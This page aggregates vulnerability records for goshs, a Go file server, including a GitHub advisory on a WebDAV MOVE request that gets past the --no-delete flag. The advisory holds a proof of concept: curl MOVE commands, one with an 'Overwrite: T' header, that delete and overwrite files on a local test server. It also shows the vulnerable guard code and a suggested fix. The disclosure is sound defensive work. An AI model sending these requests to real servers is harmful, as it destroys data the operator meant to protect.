goshs --no-delete WebDAV MOVE bypass allows file deletion/overwrite

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

goshs is a feature-rich single-binary file server for red teamers and developers. Prior to 2.1.4, the httpserver/server.go wdGuard handled WebDAV MOVE as a write-only method and did not enforce --no-delete, allowing WebDAV clients to delete or overwrite files via MOVE with Overwrite: T. This issue is fixed in version 2.1.4.

Source published

28 Jul 2026 22:02:15 UTC

Source modified

29 Jul 2026 12:48:07 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · 9.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H

goshs is a feature-rich single-binary file server for red teamers and developers. Prior to 2.1.4, the httpserver/server.go wdGuard handled WebDAV MOVE as a write-only method and did not enforce --no-delete, allowing WebDAV clients to delete or overwrite files via MOVE with Overwrite: T. This issue is fixed in version 2.1.4.

Source published

28 Jul 2026 23:17:10 UTC

Source modified

23 Oct 2026 23:10:00 UTC

Observed here

25 Oct 2026 15:18:45 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 9.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H

## Summary The WebDAV mode-flag guard added to fix GHSA-3whc-qvhv-xqjp still does not enforce `--no-delete` on the WebDAV `MOVE` verb. `MOVE` deletes the source file (rename removes it from its original path), and with `Overwrite: T` it additionally performs an explicit `RemoveAll` on the destination. Under `-w --no-delete`, `DELETE` is correctly blocked (403) but `MOVE` still destroys existing files, defeating the documented "Disable the delete option" boundary. This is a residual of the parent fix: the guard classifies `MOVE`/`COPY` as write-only verbs (blocked only under `--read-only`) and never treats `MOVE` as a delete, so the `--no-delete` branch never covers it. ## Affected goshs v2.1.3 (current release, commit `ba00ce3`). The guard was introduced when GHSA-3whc-qvhv-xqjp was fixed and carries the gap forward. ## Details `httpserver/server.go`, `wdGuard` (lines 237-254): ```go wdGuard := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { switch r.Method { case http.MethodPut, "MKCOL", "MOVE", "COPY": if fs.ReadOnly { http.Error(w, "read-only", http.StatusForbidden) return } case http.MethodDelete: if fs.ReadOnly || fs.UploadOnly || fs.NoDelete { http.Error(w, "delete disabled", http.StatusForbidden) return } case http.MethodGet, http.MethodHead: if fs.UploadOnly { http.Error(w, "upload-only", http.StatusForbidden) return } } ... ``` `MOVE` lives in the first case and is gated only by `fs.ReadOnly`. It is never checked against `fs.NoDelete`. But `MOVE` in `golang.org/x/net/webdav` (`file.go`, `moveFiles`) calls `fs.Rename(ctx, src, dst)`, which removes the source from its original location, and when the `Overwrite: T` header is present it first calls `fs.RemoveAll(ctx, dst)` on an existing destination. Both are deletions. So `--no-delete`, whose help text reads "Disable the delete option", does not disable deletion via `MOVE`. The `.goshs` ACL layer (`webdav_acl.go`) checks auth and block-lists only; it does not enforce the mode flags, so it does not close this gap. ## Proof of concept Reproduced live against goshs v2.1.3 on 2026-07-02. Server started with `--no-delete` and WebDAV enabled: ``` $ printf 'TOP-SECRET-CONTENTS\n' > webroot/secret.txt $ printf 'VICTIM-EXISTING-FILE\n' > webroot/victim.txt $ goshs -d webroot -i 127.0.0.1 -p 18080 --webdav --webdav-port 18081 --no-delete INFO Serving WEBDAV on 127.0.0.1:18081 from webroot ``` Control - DELETE is correctly blocked: ``` $ curl -s -i -X DELETE http://127.0.0.1:18081/secret.txt HTTP/1.1 403 Forbidden Content-Type: text/plain; charset=utf-8 Server: goshs/v2.1.3 (darwin; go1.26.1) ``` secret.txt still exists on disk. Bypass 1 - MOVE removes the source file despite --no-delete: ``` $ curl -s -i -X MOVE -H 'Destination: http://127.0.0.1:18081/gone.txt' http://127.0.0.1:18081/secret.txt HTTP/1.1 201 Created Server: goshs/v2.1.3 (darwin; go1.26.1) ``` secret.txt is now deleted from disk (its content is at gone.txt). Bypass 2 - MOVE with Overwrite:T destroys an existing victim file: ``` # before: victim.txt = VICTIM-EXISTING-FILE $ curl -s -i -X MOVE -H 'Destination: http://127.0.0.1:18081/victim.txt' -H 'Overwrite: T' http://127.0.0.1:18081/gone.txt HTTP/1.1 204 No Content Server: goshs/v2.1.3 (darwin; go1.26.1) # after: victim.txt = TOP-SECRET-CONTENTS (original VICTIM-EXISTING-FILE destroyed via RemoveAll) ``` ## Impact An operator running `goshs -w --no-delete -d /srv/artifacts` to deliver files that must not be removed still allows any WebDAV client to delete or clobber existing files via `MOVE`. Confidential existing files can be renamed away or overwritten. The `--no-delete` control is silently ineffective on the WebDAV port for the `MOVE` verb. ## Suggested fix Move `MOVE` (and `COPY` on collision-with-overwrite, which also deletes) into the delete-gated branch, or add `fs.NoDelete` to the write-verb branch for `MOVE`: ```go case http.MethodPut, "MKCOL", "COPY": if fs.ReadOnly { http.Error(w, "read-only", http.StatusForbidden) return } case "MOVE": // MOVE renames (deletes source) and, with Overwrite:T, RemoveAll(dst). if fs.ReadOnly || fs.UploadOnly || fs.NoDelete { http.Error(w, "move disabled", http.StatusForbidden) return } case http.MethodDelete: if fs.ReadOnly || fs.UploadOnly || fs.NoDelete { http.Error(w, "delete disabled", http.StatusForbidden) return } ``` Add an integration test covering `MOVE` under `--no-delete` (the current `testWebdavMoveCopy` only exercises MOVE/COPY in unrestricted mode).

Source published

28 Jul 2026 22:03:12 UTC

Source modified

18 Aug 2026 15:10:30 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H

Publisher rating · CRITICAL

goshs --no-delete WebDAV MOVE bypass allows file deletion/overwrite in github.com/patrickhener/goshs

Source published

18 Aug 2026 14:32:29 UTC

Source modified

18 Aug 2026 15:00:22 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.